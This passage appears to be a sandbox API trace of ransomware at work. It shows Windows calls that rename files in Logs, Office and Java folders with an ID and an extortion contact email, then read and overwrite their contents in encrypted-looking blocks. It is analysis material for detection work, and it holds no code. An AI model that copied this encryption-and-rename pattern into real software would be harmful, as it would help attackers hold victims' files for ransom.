nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0099.628] CloseHandle (hObject=0x704) returned 1 [0099.630] GetProcessHeap () returned 0x630000 [0099.630] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5bf88 | out: hHeap=0x630000) returned 1 [0099.632] GetProcessHeap () returned 0x630000 [0099.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f526d8 | out: hHeap=0x630000) returned 1 [0099.633] GetProcessHeap () returned 0x630000 [0099.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0099.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0099.633] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x154d15f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x98a6, dwReserved0=0xa807496, dwReserved1=0x6f526d0, cFileName="UiInfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UIINFO~1.FIR")) returned 0x6d4f80 [0099.633] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0099.633] Sleep (dwMilliseconds=0x1) [0100.938] Sleep (dwMilliseconds=0x1) [0101.615] Sleep (dwMilliseconds=0x1) [0102.217] Sleep (dwMilliseconds=0x1) [0102.431] Sleep (dwMilliseconds=0x1) [0102.616] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.185] Sleep (dwMilliseconds=0x1) [0103.306] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.761] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", len=0x32 | out: pbstr=0x5afff7c*="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 1 [0104.766] GetProcessHeap () returned 0x630000 [0104.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x20) returned 0x6e9288 [0104.766] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0104.766] CloseHandle (hObject=0x6e0) returned 1 [0104.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.831] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.832] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.832] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI4AC2~1.FIR")) returned 0x6d5000 [0104.832] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0104.832] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0104.833] GetProcessHeap () returned 0x630000 [0104.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1d1d8 [0104.833] GetProcessHeap () returned 0x630000 [0104.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f28608 [0104.834] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.834] ReadFile (in: hFile=0x6e0, lpBuffer=0x6f1d1d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1d8*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.763] GetProcessHeap () returned 0x630000 [0112.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0112.763] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.763] WriteFile (in: hFile=0x6e0, lpBuffer=0x6f28608*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f28608*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.764] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.764] WriteFile (in: hFile=0x6e0, lpBuffer=0x6f33a07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a07*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.769] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.769] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.769] CloseHandle (hObject=0x6e0) returned 1 [0113.709] GetProcessHeap () returned 0x630000 [0113.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f28608 | out: hHeap=0x630000) returned 1 [0113.709] GetProcessHeap () returned 0x630000 [0113.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1d1d8 | out: hHeap=0x630000) returned 1 [0113.711] GetProcessHeap () returned 0x630000 [0113.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0113.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.711] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9b8698f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xa807496, dwReserved1=0x6f1d1d0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI4AC2~1.FIR")) returned 0x6d5380 [0113.711] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0113.712] Sleep (dwMilliseconds=0x1) [0114.313] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.311] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 1 [0123.311] GetProcessHeap () returned 0x630000 [0123.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x184) returned 0x66a3e0 [0123.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0123.314] CloseHandle (hObject=0x6e0) returned 1 [0123.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf2f172d, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x53d21, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP26E4~1.FIR")) returned 0x6d4ec0 [0123.315] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0123.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0123.315] GetProcessHeap () returned 0x630000 [0123.315] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0123.316] GetProcessHeap () returned 0x630000 [0123.316] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d508 [0123.316] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.316] ReadFile (in: hFile=0x6e0, lpBuffer=0x6f06978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.097] GetProcessHeap () returned 0x630000 [0128.097] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0128.097] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.097] WriteFile (in: hFile=0x6e0, lpBuffer=0x70d508*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d508*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0130.010] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.010] WriteFile (in: hFile=0x6e0, lpBuffer=0x718907*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x718907*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0130.012] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.012] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0130.012] CloseHandle (hObject=0x6e0) returned 1 [0130.019] GetProcessHeap () returned 0x630000 [0130.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d508 | out: hHeap=0x630000) returned 1 [0130.019] GetProcessHeap () returned 0x630000 [0130.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0130.021] GetProcessHeap () returned 0x630000 [0130.021] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0131.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x13716a55, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x53d45, dwReserved0=0xa807496, dwReserved1=0x6f06970, cFileName="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP26E4~1.FIR")) returned 0x6d5200 [0131.533] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.534] Sleep (dwMilliseconds=0x1) [0131.538] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip", len=0x39 | out: pbstr=0x5afff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 1 [0131.538] GetProcessHeap () returned 0x630000 [0131.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x30) returned 0x66a3e0 [0131.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0134.383] CloseHandle (hObject=0x69c) returned 1 [0134.383] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x3, dwReserved1=0x800001, cFileName="ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FFJCEX~1.FIR")) returned 0x6d4ec0 [0134.437] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0134.437] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0134.437] GetProcessHeap () returned 0x630000 [0134.437] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3761) returned 0x6fa7408 [0134.437] GetProcessHeap () returned 0x630000 [0134.437] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3761) returned 0x6fc0048 [0134.438] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.438] ReadFile (in: hFile=0x6d4, lpBuffer=0x6fa7408, nNumberOfBytesToRead=0x3740, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa7408*, lpNumberOfBytesRead=0x5afff0c*=0x3740, lpOverlapped=0x0) returned 1 [0136.508] GetProcessHeap () returned 0x630000 [0136.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0136.508] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.508] WriteFile (in: hFile=0x6d4, lpBuffer=0x6fc0048*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesWritten=0x5afff0c*=0x3740, lpOverlapped=0x0) returned 1 [0136.508] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.508] WriteFile (in: hFile=0x6d4, lpBuffer=0x6fc3787*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc3787*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.508] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.508] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.508] CloseHandle (hObject=0x6d4) returned 1 [0136.511] GetProcessHeap () returned 0x630000 [0136.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0136.511] GetProcessHeap () returned 0x630000 [0136.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa7408 | out: hHeap=0x630000) returned 1 [0136.511] GetProcessHeap () returned 0x630000 [0136.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0136.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x17517e78, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3770, dwReserved0=0xa807496, dwReserved1=0x6fa7400, cFileName="ffjcext.zip.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FFJCEX~1.FIR")) returned 0x6d5400 [0136.511] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0136.512] Sleep (dwMilliseconds=0x1) [0138.352] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml", len=0x56 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml") returned 1 [0138.352] GetProcessHeap () returned 0x630000 [0138.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a68) returned 0x72b0508 [0138.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0138.369] CloseHandle (hObject=0x698) returned 1 [0138.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea1, dwReserved0=0xf108d32a, dwReserved1=0x2e005d, cFileName="Gill Sans MT.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GILLSA~1.FIR")) returned 0x6d4ec0 [0138.370] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0138.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 